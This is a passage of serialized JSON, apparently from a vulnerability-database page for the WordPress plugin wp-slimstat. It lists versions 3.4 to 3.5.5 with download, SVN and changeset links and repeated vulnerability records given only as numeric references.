u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.4&new_path=%2Fwp-slimstat%2Ftags%2F3.5.5",[6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6242,"download_url":6243,"svn_tag_url":6244,"released_at":39,"has_diff":54,"diff_files_changed":6245,"diff_lines":39,"trac_diff_url":6246,"vulnerabilities":6247,"is_current":54},"3.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.3&new_path=%2Fwp-slimstat%2Ftags%2F3.5.4",[6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259,6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6273,"download_url":6274,"svn_tag_url":6275,"released_at":39,"has_diff":54,"diff_files_changed":6276,"diff_lines":39,"trac_diff_url":6277,"vulnerabilities":6278,"is_current":54},"3.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.2&new_path=%2Fwp-slimstat%2Ftags%2F3.5.3",[6279,6280,6281,6282,6283,6284,6285,6286,6287,6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6304,"download_url":6305,"svn_tag_url":6306,"released_at":39,"has_diff":54,"diff_files_changed":6307,"diff_lines":39,"trac_diff_url":6308,"vulnerabilities":6309,"is_current":54},"3.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.1&new_path=%2Fwp-slimstat%2Ftags%2F3.5.2",[6310,6311,6312,6313,6314,6315,6316,6317,6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6335,"download_url":6336,"svn_tag_url":6337,"released_at":39,"has_diff":54,"diff_files_changed":6338,"diff_lines":39,"trac_diff_url":6339,"vulnerabilities":6340,"is_current":54},"3.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5&new_path=%2Fwp-slimstat%2Ftags%2F3.5.1",[6341,6342,6343,6344,6345,6346,6347,6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":454,"download_url":6366,"svn_tag_url":6367,"released_at":39,"has_diff":54,"diff_files_changed":6368,"diff_lines":39,"trac_diff_url":6369,"vulnerabilities":6370,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.4.3&new_path=%2Fwp-slimstat%2Ftags%2F3.5",[6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6396,"download_url":6397,"svn_tag_url":6398,"released_at":39,"has_diff":54,"diff_files_changed":6399,"diff_lines":39,"trac_diff_url":6400,"vulnerabilities":6401,"is_current":54},"3.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.4.2&new_path=%2Fwp-slimstat%2Ftags%2F3.4.3",[6402,6403,6404,6405,6406,6407,6408,6409,6410,6411,6412,6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6427,"download_url":6428,"svn_tag_url":6429,"released_at":39,"has_diff":54,"diff_files_changed":6430,"diff_lines":39,"trac_diff_url":6431,"vulnerabilities":6432,"is_current":54},"3.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.4.1&new_path=%2Fwp-slimstat%2Ftags%2F3.4.2",[6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6458,"download_url":6459,"svn_tag_url":6460,"released_at":39,"has_diff":54,"diff_files_changed":6461,"diff_lines":39,"trac_diff_url":6462,"vulnerabilities":6463,"is_current":54},"3.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.4&new_path=%2Fwp-slimstat%2Ftags%2F3.4.1",[6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":364,"url_slug":365,"title":366,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":369},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6489,"download_url":6490,"svn_tag_url":6491,"released_at":39,"has_diff":54,"diff_files_changed":6492,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":6493,"is_current":54},"3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.4\u002F",[],[6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,